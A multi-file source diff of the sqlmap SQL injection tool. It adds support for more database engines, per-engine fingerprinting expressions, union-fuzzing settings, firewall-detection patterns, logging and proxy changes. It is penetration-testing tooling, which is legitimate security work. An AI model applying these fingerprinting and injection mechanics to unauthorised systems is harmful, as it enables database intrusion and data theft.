DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
DBMS.H2: (H2_ALIASES, None, None, None),
DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
}
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
FROM_DUMMY_TABLE = {
DBMS.ORACLE: " FROM DUAL",
DBMS.ACCESS: " FROM MSysAccessObjects",
@@ -207,7 +254,32 @@ FROM_DUMMY_TABLE = {
DBMS.MAXDB: " FROM VERSIONS",
DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
}
HEURISTIC_NULL_EVAL = {
DBMS.ACCESS: "CVAR(NULL)",
DBMS.MAXDB: "ALPHA(NULL)",
DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
DBMS.MYSQL: "QUARTER(NULL)",
DBMS.ORACLE: "INSTR2(NULL,NULL)",
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
DBMS.SQLITE: "UNLIKELY(NULL)",
DBMS.H2: "STRINGTOUTF8(NULL)",
DBMS.MONETDB: "CODE(NULL)",
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
DBMS.MCKOI: "TONUMBER(NULL)",
DBMS.PRESTO: "FROM_HEX(NULL)",
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
DBMS.MIMERSQL: "ASCII_CHAR(256)",
DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
DBMS.CUBRID: "(NULL SETEQ NULL)",
DBMS.CACHE: "%SQLUPPER NULL",
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
}
SQL_STATEMENTS = {
+6 -9
View File
@@ -72,7 +72,7 @@ class Dump(object):
text = "%s%s" % (data, "\n" if newline else " ")
if conf.api:
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE)
elif console:
dataToStdout(text)
@@ -107,9 +107,6 @@ class Dump(object):
errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
raise SqlmapGenericException(errMsg)
def getOutputFile(self):
return self._outputFile
def singleString(self, data, content_type=None):
self._write(data, content_type=content_type)
@@ -167,10 +164,10 @@ class Dump(object):
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data):
if Backend.isDbms(DBMS.MAXDB):
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
else:
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
@@ -641,7 +638,7 @@ class Dump(object):
if conf.dumpFormat == DUMP_FORMAT.SQLITE:
rtable.endTransaction()
logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))
logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if conf.dumpFormat == DUMP_FORMAT.HTML:
+45 -1
View File
@@ -42,9 +42,21 @@ class DBMS(object):
PGSQL = "PostgreSQL"
SQLITE = "SQLite"
SYBASE = "Sybase"
INFORMIX = "Informix"
HSQLDB = "HSQLDB"
H2 = "H2"
INFORMIX = "Informix"
MONETDB = "MonetDB"
DERBY = "Apache Derby"
VERTICA = "Vertica"
MCKOI = "Mckoi"
PRESTO = "Presto"
ALTIBASE = "Altibase"
MIMERSQL = "MimerSQL"
CRATEDB = "CrateDB"
CUBRID = "Cubrid"
CACHE = "InterSystems Cache"
EXTREMEDB = "eXtremeDB"
FRONTBASE = "FrontBase"
class DBMS_DIRECTORY_NAME(object):
ACCESS = "access"
@@ -60,6 +72,33 @@ class DBMS_DIRECTORY_NAME(object):
HSQLDB = "hsqldb"
H2 = "h2"
INFORMIX = "informix"
MONETDB = "monetdb"
DERBY = "derby"
VERTICA = "vertica"
MCKOI = "mckoi"
PRESTO = "presto"
ALTIBASE = "altibase"
MIMERSQL = "mimersql"
CRATEDB = "cratedb"
CUBRID = "cubrid"
CACHE = "cache"
EXTREMEDB = "extremedb"
FRONTBASE = "frontbase"
class FORK(object):
MARIADB = "MariaDB"
MEMSQL = "MemSQL"
PERCONA = "Percona"
COCKROACHDB = "CockroachDB"
TIDB = "TiDB"
REDSHIFT = "Amazon Redshift"
GREENPLUM = "Greenplum"
DRIZZLE = "Drizzle"
IGNITE = "Apache Ignite"
AURORA = "Aurora"
ENTERPRISEDB = "EnterpriseDB"
YELLOWBRICK = "Yellowbrick"
IRIS = "Iris"
class CUSTOM_LOGGING(object):
PAYLOAD = 9
@@ -389,3 +428,8 @@ class TIMEOUT_STATE(object):
class HINT(object):
PREPEND = 0
APPEND = 1
class FUZZ_UNION_COLUMN:
STRING = "<string>"
INTEGER = "<integer>"
NULL = "NULL"
+5 -1
View File
@@ -29,6 +29,7 @@ from lib.core.settings import VERSION_STRING
from lib.core.settings import WIKI_PAGE
from thirdparty.six.moves import queue as _queue
alive = None
line = ""
process = None
queue = None
@@ -186,7 +187,7 @@ def runGui(parser):
center(top)
while alive:
while True:
line = ""
try:
# line = queue.get_nowait()
@@ -196,6 +197,9 @@ def runGui(parser):
text.see(_tkinter.END)
text.update_idletasks()
if not alive:
break
menubar = _tkinter.Menu(window)
filemenu = _tkinter.Menu(menubar, tearoff=0)
+73 -1
View File
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
"""
import logging
import re
import sys
from lib.core.enums import CUSTOM_LOGGING
@@ -20,6 +21,77 @@ LOGGER_HANDLER = None
try:
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
class _ColorizingStreamHandler(ColorizingStreamHandler):
def colorize(self, message, levelno):
if levelno in self.level_map and self.is_tty:
bg, fg, bold = self.level_map[levelno]
params = []
if bg in self.color_map:
params.append(str(self.color_map[bg] + 40))
if fg in self.color_map:
params.append(str(self.color_map[fg] + 30))
if bold:
params.append('1')
if params and message:
match = re.search(r"\A(\s+)", message)
prefix = match.group(1) if match else ""
message = message[len(prefix):]
match = re.search(r"\[([A-Z ]+)\]", message) # log level
if match:
level = match.group(1)
if message.startswith(self.bold):
message = message.replace(self.bold, "")
reset = self.reset + self.bold
params.append('1')
else:
reset = self.reset
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
if match:
time = match.group(1)
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
match = re.search(r"\[(#\d+)\]", message) # counter
if match:
counter = match.group(1)
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
if level != "PAYLOAD":
if any(_ in message for _ in ("parsed DBMS error message",)):
match = re.search(r": '(.+)'", message)
if match:
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
if match:
string = match.group(1)
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message)
if match:
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else:
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
if prefix:
message = "%s%s" % (prefix, message)
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
return message
disableColor = False
for argument in sys.argv:
@@ -30,7 +102,7 @@ try:
if disableColor:
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
else:
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout)
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
+28 -9
View File
@@ -121,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS
from lib.core.settings import NULL
from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import SUPPORTED_DBMS
@@ -330,8 +331,13 @@ def _setRequestFromFile():
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
logger.info(infoMsg)
target = next(parseRequestFile(conf.secondReq, False))
kb.secondReq = target
try:
target = next(parseRequestFile(conf.secondReq, False))
kb.secondReq = target
except StopIteration:
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
errMsg += "does not contain a valid HTTP request"
raise SqlmapDataException(errMsg)
def _setCrawler():
if not conf.crawlDepth:
@@ -341,7 +347,7 @@ def _setCrawler():
if conf.url:
crawl(conf.url)
elif conf.requestFile and kb.targets:
target = list(kb.targets)[0]
target = next(iter(kb.targets))
crawl(target[0], target[2], target[3])
def _doSearch():
@@ -419,6 +425,9 @@ def _setBulkMultipleTargets():
found = False
for line in getFileItems(conf.bulkFile):
if conf.scope and not re.search(conf.scope, line, re.I):
continue
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
found = True
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
@@ -670,7 +679,7 @@ def _setDBMS():
logger.debug(debugMsg)
conf.dbms = conf.dbms.lower()
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I)
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I)
if regex:
conf.dbms = regex.group(1)
@@ -1139,7 +1148,7 @@ def _setSafeVisit():
conf.safeUrl = "http://%s" % conf.safeUrl
if (conf.safeFreq or 0) <= 0:
errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
raise SqlmapSyntaxException(errMsg)
def _setPrefixSuffix():
@@ -1729,8 +1738,7 @@ def _cleanupOptions():
conf.__setitem__(_, True)
if conf.noCast:
for _ in list(DUMP_REPLACEMENTS.keys()):
del DUMP_REPLACEMENTS[_]
DUMP_REPLACEMENTS.clear()
if conf.dumpFormat:
conf.dumpFormat = conf.dumpFormat.upper()
@@ -1759,6 +1767,13 @@ def _cleanupOptions():
conf.binaryFields = conf.binaryFields.replace(" ", "")
conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
debugMsg = "using environment proxy '%s'" % envProxy
logger.debug(debugMsg)
conf.proxy = envProxy
if any((conf.proxy, conf.proxyFile, conf.tor)):
conf.disablePrecon = True
@@ -1901,12 +1916,15 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.errorIsNone = True
kb.falsePositives = []
kb.fileReadMode = False
kb.fingerprinted = False
kb.followSitemapRecursion = None
kb.forcedDbms = None
kb.forcePartialUnion = False
kb.forceThreads = None
kb.forceWhere = None
kb.forkNote = None
kb.futileUnion = None
kb.fuzzUnionTest = None
kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {}
@@ -2006,6 +2024,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.uChar = NULL
kb.udfFail = False
kb.unionDuplicates = False
kb.unionTemplate = None
kb.webSocketRecvCount = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False
@@ -2602,7 +2621,7 @@ def _basicOptionValidation():
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
raise SqlmapSyntaxException(errMsg)
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
errMsg = "option '--crack' should be used as a standalone"
raise SqlmapSyntaxException(errMsg)
@@ -2669,7 +2688,7 @@ def init():
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
-3
View File
@@ -252,9 +252,6 @@ optDict = {
"forceDns": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"liveTest": "boolean",
"stopFail": "boolean",
"runCase": "string",
},
"API": {
+50
View File
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
"""
import codecs
import random
import lib.controller.checks
import lib.core.common
@@ -25,13 +26,18 @@ from lib.core.common import isListLike
from lib.core.common import readInput
from lib.core.common import shellExec
from lib.core.common import singleTimeWarnMessage
from lib.core.compat import xrange
from lib.core.convert import stdoutEncode
from lib.core.data import conf
from lib.core.option import _setHTTPHandlers
from lib.core.option import setVerbosity
from lib.core.settings import IS_WIN
from lib.request.templates import getPageTemplate
from thirdparty import six
from thirdparty.six.moves import http_client as _http_client
_rand = 0
def dirtyPatches():
"""
Place for "dirty" Python related patches
@@ -40,6 +46,18 @@ def dirtyPatches():
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
_http_client._MAXLINE = 1 * 1024 * 1024
# prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
if six.PY3:
if not hasattr(_http_client.HTTPConnection, "__send_output"):
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
def _send_output(self, *args, **kwargs):
if conf.get("chunked") and "encode_chunked" in kwargs:
kwargs["encode_chunked"] = False
self.__send_output(*args, **kwargs)
_http_client.HTTPConnection._send_output = _send_output
# add support for inet_pton() on Windows OS
if IS_WIN:
from thirdparty.wininetpton import win_inet_pton
@@ -87,3 +105,35 @@ def pympTempLeakPatch(tempDir):
multiprocessing.util.get_temp_dir = lambda: tempDir
except:
pass
def unisonRandom():
"""
Unifying random generated data across different Python versions
"""
def _lcg():
global _rand
a = 1140671485
c = 128201163
m = 2 ** 24
_rand = (a * _rand + c) % m
return _rand
def _randint(a, b):
_ = a + (_lcg() % (b - a + 1))
return _
def _choice(seq):
return seq[_randint(0, len(seq) - 1)]
def _sample(population, k):
return [_choice(population) for _ in xrange(k)]
def _seed(seed):
global _rand
_rand = seed
random.choice = _choice
random.randint = _randint
random.sample = _sample
random.seed = _seed
+1 -1
View File
@@ -25,7 +25,7 @@ def setDbms(dbms):
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
if _:
+66 -18
View File
@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.4"
VERSION = "1.4.4.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98
PARAMETER_AMP_MARKER = "__AMP__"
PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
URI_QUESTION_MARKER = "__QUESTION_MARK__"
@@ -74,6 +75,7 @@ RANDOM_STRING_MARKER = "[RANDSTR]"
SLEEP_TIME_MARKER = "[SLEEPTIME]"
INFERENCE_MARKER = "[INFERENCE]"
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
CHAR_INFERENCE_MARK = "%c"
@@ -91,6 +93,12 @@ PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s
# Regular expression used in recognition of generic protection mechanisms
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
# Regular expression used to detect errors in fuzz(y) UNION test
FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error"
# Upper threshold for starting the fuzz(y) UNION test
FUZZ_UNION_MAX_COLUMNS = 10
# Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
@@ -255,35 +263,70 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
MCKOI_SYSTEM_DBS = ("",)
PRESTO_SYSTEM_DBS = ("information_schema",)
ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
CUBRID_SYSTEM_DBS = ("DBA",)
CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
EXTREMEDB_SYSTEM_DBS = ("",)
FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
# Note: (<regular>) + (<forks>)
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "aurora")
ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
SQLITE_ALIASES = ("sqlite", "sqlite3")
ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
SYBASE_ALIASES = ("sybase", "sybase sql server")
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
H2_ALIASES = ("h2",)
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
MONETDB_ALIASES = ("monet", "monetdb",)
DERBY_ALIASES = ("derby", "apache derby",)
VERTICA_ALIASES = ("vertica",)
MCKOI_ALIASES = ("mckoi",)
PRESTO_ALIASES = ("presto",)
ALTIBASE_ALIASES = ("altibase",)
MIMERSQL_ALIASES = ("mimersql", "mimer")
CRATEDB_ALIASES = ("cratedb", "crate")
CUBRID_ALIASES = ("cubrid",)
CACHE_ALIASES = ("intersystems cache", "cachedb", "cache")
EXTREMEDB_ALIASES = ("extremedb", "extreme")
FRONTBASE_ALIASES = ("frontbase",)
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES)
SUPPORTED_OS = ("linux", "windows")
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES))
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer")
HOST_ALIASES = ("host",)
# DBMSes with upper case identifiers
UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
# Default schemas to use (when unable to enumerate)
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
VERTICA_DEFAULT_SCHEMA = "public"
MCKOI_DEFAULT_SCHEMA = "APP"
CACHE_DEFAULT_SCHEMA = "SQLUser"
# DBMSes where OFFSET mechanism starts from 1
PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
# Names that can't be used to name files on Windows OS
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -486,6 +529,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
# Prefix for configuration overriding environment variables
SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_"
# General OS environment variables that can be used for setting proxy address
PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")
# Turn off resume console info to avoid potential slowdowns
TURN_OFF_RESUME_INFO_LIMIT = 20
@@ -534,6 +580,9 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
# Table used for Base64 conversion in WordPress hash cracking routine
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox)
IGNORED_OPTIONS = ("--compressed",)
# Chars used to quickly distinguish if the user provided tainted parameter values
DUMMY_SQL_INJECTION_CHARS = ";()'"
@@ -561,11 +610,11 @@ LAST_UPDATE_NAGGING_DAYS = 60
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05
# Generic address for checking the Internet connection while using switch --check-internet
CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9)
